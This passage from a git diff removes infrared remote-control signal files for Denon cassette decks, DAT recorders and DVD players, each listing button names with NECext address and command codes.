08 00 00 00 -command: 91 00 00 00 -# -name: SDB/TONE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: EA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/12,-1.ir deleted file mode 100644 index d5f1b277a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/12,-1.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTING -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 4B 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 4C 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 4D 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 50 00 00 00 -# -name: VDP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 54 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 58 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 59 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 5A 00 00 00 -# -name: TAPE-1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 5D 00 00 00 -# -name: TAPE-2/VCR -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 5E 00 00 00 -# -name: VIDEO_SELECT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 62 00 00 00 -# -name: REC_SELECT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 75 00 00 00 -# -name: PANEL -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 7E 00 00 00 -# -name: PRESET_V -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D5 00 00 00 -# -name: PRESET_^ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D6 00 00 00 -# -name: P.SCAN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: DC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/2,-1.ir deleted file mode 100644 index ec8000ac5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/2,-1.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 4C 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 4D 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 50 00 00 00 -# -name: TAPE_MONITOR -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 58 00 00 00 -# -name: TAPE-1/1>2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 59 00 00 00 -# -name: TAPE-2/2>1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 5A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/4,-1.ir deleted file mode 100644 index 147fe2569..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/4,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: D1_CASS_PITCH+/- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 45 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 46 00 00 00 -# -name: D2_CASS_PITCH+/- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4A 00 00 00 -# -name: DECK_SELECT_A/B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 53 00 00 00 -# -name: A/B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 53 00 00 00 -# -name: DECK_PLAY_REV._< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 57 00 00 00 -# -name: PLAY(REV) -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 57 00 00 00 -# -name: D1_CASS_FWD_>>_(>>) -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: F.F_>> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: DECK_FF_>> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: FF_>> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: D1_CASS_REW_<<_(<<) -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: DECK_REW_<< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: D1_CASS_PLAY_> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: DECK_PLAY_> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: REC_PAUSE/MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5D 00 00 00 -# -name: DECK_PAUSE_ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5D 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5D 00 00 00 -# -name: D1_CASS_STOP[]_ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5E 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5E 00 00 00 -# -name: DECK_STOP_[] -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5E 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5F 00 00 00 -# -name: DECK_REC -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5F 00 00 00 -# -name: D2_CASS_FWD_>>_(>>) -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 6A 00 00 00 -# -name: D2_CASS_REW_<<_(<<) -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 6B 00 00 00 -# -name: D2_CASS_PLAY_> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 6C 00 00 00 -# -name: D2_CASS_STOP[]_ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 6E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/8,-1.ir deleted file mode 100644 index bf349a677..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Cassette Tape/8,-1.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD_SKIP_FWD_>> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 58 00 00 00 -# -name: CD_SKIP_REV_<< -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 59 00 00 00 -# -name: CD_PLAY_> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5C 00 00 00 -# -name: CD_PAUSE_ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5D 00 00 00 -# -name: CD_PITCH_+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 77 00 00 00 -# -name: CD_PITCH_- -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 78 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DAT/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DAT/4,-1.ir deleted file mode 100644 index a57440cc7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DAT/4,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C1 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C2 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C3 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C4 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C5 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C6 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C7 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C8 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C9 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: CA 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D0 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D4 00 00 00 -# -name: SRCH_>> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D8 00 00 00 -# -name: SRCH_<< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D9 00 00 00 -# -name: FF_>> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: DA 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: DB 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: DC 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: DD 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 04 00 00 00 -command: DE 00 00 00 -# -name: REC/MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: DF 00 00 00 -# -name: MODE_COUNTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: E1 00 00 00 -# -name: RESET_COUNTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: E2 00 00 00 -# -name: RENUMBER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: E7 00 00 00 -# -name: END -type: parsed -protocol: NECext -address: 04 00 00 00 -command: EA 00 00 00 -# -name: ID_MODE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: EB 00 00 00 -# -name: WRITE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: EC 00 00 00 -# -name: ERASE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: ED 00 00 00 -# -name: DIGITAL_FADE_IN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F1 00 00 00 -# -name: DIGITAL_FADE_OUT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F2 00 00 00 -# -name: FINE_CUE_< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F3 00 00 00 -# -name: FINE_CUE_> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F4 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DVD Player/176,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DVD Player/176,0.ir deleted file mode 100644 index 401825768..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DVD Player/176,0.ir +++ /dev/null @@ -1,482 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 00 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 00 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 01 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 04 00 00 00 -# -name: SLOW/SEARCH_<< -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 04 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 04 00 00 00 -# -name: <> -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 04 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 05 00 00 00 -# -name: SLOW/SEARCH_>> -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 05 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 05 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 05 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 06 00 00 00 -# -name: STILL/PAUSE_>< -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 06 00 00 00 -# -name: STILL/PAUSE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 06 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 06 00 00 00 -# -name: SLOW_< -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 07 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 0A 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 0A 00 00 00 -# -name: SLOW_> -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 0F 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 10 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 11 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 12 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 13 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 14 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 15 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 16 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 17 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 18 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 19 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 33 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 33 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 3D 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 3E 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 3F 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 48 00 00 00 -# -name: A-B_REPEAT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 48 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 49 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 49 00 00 00 -# -name: FRAME_<< -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 49 00 00 00 -# -name: SKIP/SEARCH_<< -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 49 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 4A 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 4A 00 00 00 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 4A 00 00 00 -# -name: SKIP/SEARCH_>> -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 4A 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 80 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 81 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 82 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 82 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 83 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 85 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 85 00 00 00 -# -name: CURSOR_^ -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 85 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 86 00 00 00 -# -name: CURSOR_DN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 86 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 86 00 00 00 -# -name: CURSOR_V -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 86 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 87 00 00 00 -# -name: CURSOR_LF -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 87 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 87 00 00 00 -# -name: CURSOR_< -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 87 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 88 00 00 00 -# -name: CURSOR_RT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 88 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 88 00 00 00 -# -name: CURSOR_> -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 88 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 89 00 00 00 -# -name: >10 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 89 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 8C 00 00 00 -# -name: REPEAT_MODE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 8C 00 00 00 -# -name: PLAY_MODE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 8D 00 00 00 -# -name: MARKER -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 8E 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 90 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 91 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 92 00 00 00 -# -name: OFF/ON -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 93 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 94 00 00 00 -# -name: SET_UP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 94 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 9B 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 9B 00 00 00 -# -name: V.S.S -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 9E 00 00 00 -# -name: V.S.S. -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 9E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DVD Player/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DVD Player/2,-1.ir deleted file mode 100644 index 27a91c75e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DVD Player/2,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F1 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DVD Player/2,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DVD Player/2,1.ir deleted file mode 100644 index e9b3ee641..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DVD Player/2,1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 01 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 02 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 03 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 04 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 05 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 06 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 07 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 08 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 09 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 0A 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 16 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 17 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 18 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 19 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 1A 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 1B 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 1C 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 20 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 21 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 22 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 23 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 28 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 29 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 2B 00 00 00 -# -name: SET_UP -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 2C 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 2D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DVD Player/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DVD Player/4,-1.ir deleted file mode 100644 index d31421fae..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DVD Player/4,-1.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SEARCH_MODE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 9E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 9E 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 9F 00 00 00 -# -name: PICTURE_ADJUST -type: parsed -protocol: NECext -address: 04 00 00 00 -command: A0 00 00 00 -# -name: PICT._ADJUST -type: parsed -protocol: NECext -address: 04 00 00 00 -command: A0 00 00 00 -# -name: PICADJ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: A0 00 00 00 -# -name: PIC_ADJ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: A0 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: A1 00 00 00 -# -name: PURE_DIRECT_MEMORY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: A2 00 00 00 -# -name: P.D._MEMORY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: A2 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DVD Player/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DVD Player/6,-1.ir deleted file mode 100644 index 93a002a46..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DVD Player/6,-1.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 06 00 00 00 -command: C0 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 06 00 00 00 -command: C0 00 00 00 -# -name: DVD_OFF -type: parsed -protocol: NECext -address: 06 00 00 00 -command: C0 00 00 00 -# -name: SUPER_AUDIO_CD_SETUP -type: parsed -protocol: NECext -address: 06 00 00 00 -command: CD 00 00 00 -# -name: CD/STEREO/MULTI -type: parsed -protocol: NECext -address: 06 00 00 00 -command: CD 00 00 00 -# -name: SUPER_AUDIO_CD_SET -type: parsed -protocol: NECext -address: 06 00 00 00 -command: CD 00 00 00 -# -name: HDMI/DVI_FORMAT -type: parsed -protocol: NECext -address: 06 00 00 00 -command: D0 00 00 00 -# -name: HDMI_FORMAT -type: parsed -protocol: NECext -address: 06 00 00 00 -command: D0 00 00 00 -# -name: PURE_DIRECT_SELECT -type: parsed -protocol: NECext -address: 06 00 00 00 -command: D4 00 00 00 -# -name: HDMI/DVI_SELECT -type: parsed -protocol: NECext -address: 06 00 00 00 -command: D5 00 00 00 -# -name: HDMI/_DVI_SELECT -type: parsed -protocol: NECext -address: 06 00 00 00 -command: D5 00 00 00 -# -name: HDMI_SELECT -type: parsed -protocol: NECext -address: 06 00 00 00 -command: D5 00 00 00 -# -name: DISC_EXCHANGE -type: parsed -protocol: NECext -address: 06 00 00 00 -command: FA 00 00 00 -# -name: PAGE_- -type: parsed -protocol: NECext -address: 06 00 00 00 -command: FD 00 00 00 -# -name: PAGE- -type: parsed -protocol: NECext -address: 06 00 00 00 -command: FD 00 00 00 -# -name: PAGE_-- -type: parsed -protocol: NECext -address: 06 00 00 00 -command: FD 00 00 00 -# -name: PAGE_+ -type: parsed -protocol: NECext -address: 06 00 00 00 -command: FE 00 00 00 -# -name: PAGE+ -type: parsed -protocol: NECext -address: 06 00 00 00 -command: FE 00 00 00 -# -name: GROUP -type: parsed -protocol: NECext -address: 06 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DVD Player/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DVD Player/8,-1.ir deleted file mode 100644 index 6a0e56e14..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/DVD Player/8,-1.ir +++ /dev/null @@ -1,1076 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SACD_SETUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 7E 00 00 00 -# -name: SASC_SETUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 7E 00 00 00 -# -name: SUPER_AUDIO_CD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 7E 00 00 00 -# -name: SUPER_AUDIO_CD_SETUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 7E 00 00 00 -# -name: SUPER_AUDIO_CD_SET -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 7E 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 81 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 81 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 82 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 83 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 84 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 85 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 85 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 85 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 86 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 87 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 88 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 89 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 8A 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 8C 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 8C 00 00 00 -# -name: >=_10 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 8C 00 00 00 -# -name: >10 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 8C 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 8D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 8D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 8D 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 8E 00 00 00 -# -name: AUDIO -type: parsed 